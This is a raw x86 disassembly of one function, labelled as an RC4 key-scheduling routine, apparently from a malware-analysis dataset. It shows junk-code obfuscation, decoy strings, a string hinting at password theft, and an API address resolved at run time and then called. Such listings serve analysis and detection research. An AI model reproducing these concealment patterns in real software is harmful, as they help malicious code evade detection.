Function at 0x10016528
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x140
mov eax, ecx
mov dword [ebp - 0x28], eax
test eax, eax
je 0x1001688f
push ebx
mov ebx, dword [0x100253c4]
push esi
push edi
or ebx, 0x6bbcac9b
mov dword [ebp - 0x24], 0x39
push 0xe
xor eax, eax
mov dword [ebp - 0x20], 6
pop edi
mov dword [ebp - 0x1c], 0x24
mov ecx, eax
mov dword [ebp - 0x18], 0x1c
mov dword [ebp - 0x14], 0xffffff8e
push 0x53
mov edx, 0xa40
mov eax, str.SetBrushOrgEx__
pop esi
add edx, esi
lea eax, [eax + 2]
cmp edx, 0x8a7
ja 0x1001659a
movzx esi, word [eax]
test esi, esi
jne 0x10016584
jmp 0x100165a0
imul ebx, ebx, 0x3e5ed14
mov eax, ebx
xor eax, 0xdbb31531
sub edi, dword [ebp + ecx*4 - 0x24]
add ebx, 0x323ef032
inc ecx
cmp ecx, 5
jl 0x10016577
mov dword [ebp - 0x2c], edi
mov esi, str.health_carereform
lea edi, [ebp - 0x40]
mov dword [ebp - 0x18], 0xe8302f7e
mov dword [ebp - 0x14], 0x70da8e92
and ebx, 0x3b06c1a9
mov cl, 0x47
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov edi, str.GetPasswordsCR___:_ending
mov edx, edi
sub cl, 0x30
cmp cl, 9
ja 0x100165f6
inc edx
mov cl, byte [edx]
test cl, cl
jne 0x100165e5
jmp 0x100165fc
imul eax, eax, 0x88ae6dd0
or ebx, 0xbb5a2bcc
mov ecx, str.SetBrushOrgEx__
xor esi, esi
mov edx, esi
inc edx
lea ecx, [ecx + 2]
cmp edx, 0x19c7
je 0x1001661e
cmp word [ecx], si
jne 0x1001660b
jmp 0x10016624
imul ebx, eax, 0xcd1d0a3c
or ebx, 0x11801e17
push 0x47
mov ecx, 0x1eeb
mov eax, edi
pop edx
add ecx, edx
inc eax
cmp ecx, 0x41d
ja 0x10016648
movsx edx, byte [eax]
test edx, edx
jne 0x10016634
jmp 0x10016668
mov esi, str.SetBrushOrgEx__
mov edx, str.is_a_therapist
mov ecx, esi
call fcn.10015adb
mov edx, edi
mov ecx, esi
and ebx, 0x7a01ff6e
call fcn.10015adb
xor ebx, 0x2e91431e
mov dword [0x1002540c], ebx
xor eax, eax
mov dword [ebp - 4], eax
movzx eax, byte [str.abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_]
mov edi, eax
push 0x74
mov ecx, 0x8a5
mov eax, str.tatarstan
pop edx
add ecx, edx
inc eax
cmp ecx, 0x12bb
ja 0x100166a3
movsx edx, byte [eax]
test edx, edx
jne 0x1001668f
jmp 0x100166aa
mov ecx, ebx
call fcn.10015e24
imul eax, ebx, 0x5ab2b6bd
mov esi, 0x24a66368
sub esi, eax
call fcn.10015a16
mov ecx, 0x18d0
mov eax, str.abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_
mov edx, edi
test edi, edi
je 0x100166ee
add ecx, edx
inc eax
cmp ecx, 0x22e5
ja 0x100166e0
movzx edx, byte [eax]
test edx, edx
jne 0x100166cc
jmp 0x100166ee
mov ebx, esi
xor ebx, 0x177fa6bf
mov dword [0x1002540c], ebx
call fcn.100160ce
mov eax, dword [ebp - 4]
mov byte [ebp + eax - 0x140], al
inc eax
mov dword [ebp - 4], eax
cmp eax, 0x100
jb 0x10016682
xor eax, eax
mov dword [ebp - 4], ebx
mov esi, eax
mov edi, eax
xor edx, edx
mov bl, byte [ebp + esi - 0x140]
push 0x11
mov eax, esi
pop ecx
div ecx
movzx ecx, bl
movzx eax, byte [ebp + edx - 0x40]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x140]
mov byte [ebp + esi - 0x140], al
inc esi
mov byte [ebp + edi - 0x140], bl
cmp esi, 0x100
jb 0x10016715
mov esi, dword [ebp - 4]
xor ecx, ecx
or esi, 0xe0abf93f
mov dword [ebp - 0xc], ecx
mov eax, ecx
mov edi, ecx
mov ebx, esi
inc eax
add ebx, 0xcc743cdf
movzx eax, al
mov dword [ebp - 4], eax
mov dword [ebp - 0x10], ebx
mov ebx, dword [ebp - 4]
mov cl, byte [ebp + eax - 0x140]
mov eax, dword [ebp - 0xc]
movzx edx, cl
add eax, edx
movzx eax, al
mov dword [ebp - 0xc], eax
push 0x53
mov al, byte [ebp + eax - 0x140]
mov byte [ebp + ebx - 0x140], al
mov eax, dword [ebp - 0xc]
mov byte [ebp + eax - 0x140], cl
mov eax, ebx
mov ebx, dword [ebp - 0x10]
mov ecx, str.SetBrushOrgEx__
movzx eax, byte [ebp + eax - 0x140]
add eax, edx
movzx eax, al
pop edx
mov al, byte [ebp + eax - 0x140]
mov byte [ebp - 5], al
lea eax, [edx - 0x30]
cmp ax, 9
ja 0x100167e2
add ecx, 2
movzx eax, word [ecx]
mov edx, eax
test ax, ax
jne 0x100167ca
jmp 0x100167e8
lea esi, [ebx + 0x68a89b7]
xor esi, 0xa7cd5869
mov edx, esi
mov ecx, esi
call fcn.10016013
mov al, byte [ebp + edi - 0x18]
xor al, byte [ebp - 5]
imul esi, ebx, 0xdde047c5
mov byte [ebp + edi - 0x38], al
inc edi
mov eax, dword [ebp - 4]
mov ebx, esi
cmp edi, 8
jb 0x10016766
push dword [ebp - 0x28]
mov dword [ebp - 0x20], 0x38
xor ecx, ecx
mov dword [ebp - 0x1c], 0x1b
mov dword [ebp - 0x18], 0x5d
mov dword [ebp - 0x14], 0xffffff05
movups xmm1, xmmword [ebp - 0x20]
mov byte [ebp - 0x30], cl
imul eax, esi, 0x952db0b9
movaps xmm0, xmm1
psrldq xmm0, 8
paddd xmm1, xmm0
movups xmm0, xmm1
mov dword [0x1002540c], eax
add eax, 0x7192aff9
xor eax, 0x5f2fdac3
psrldq xmm0, 4
mov dword [0x100253c4], eax
paddd xmm1, xmm0
movd eax, xmm1
add eax, 0x4b
push eax
call fcn.100161ab
mov ecx, dword [ebp - 0x2c]
lea edx, [ebp - 0x38]
push eax
call fcn.1001e0ae
call eax
pop edi
pop esi
pop ebx
leave
ret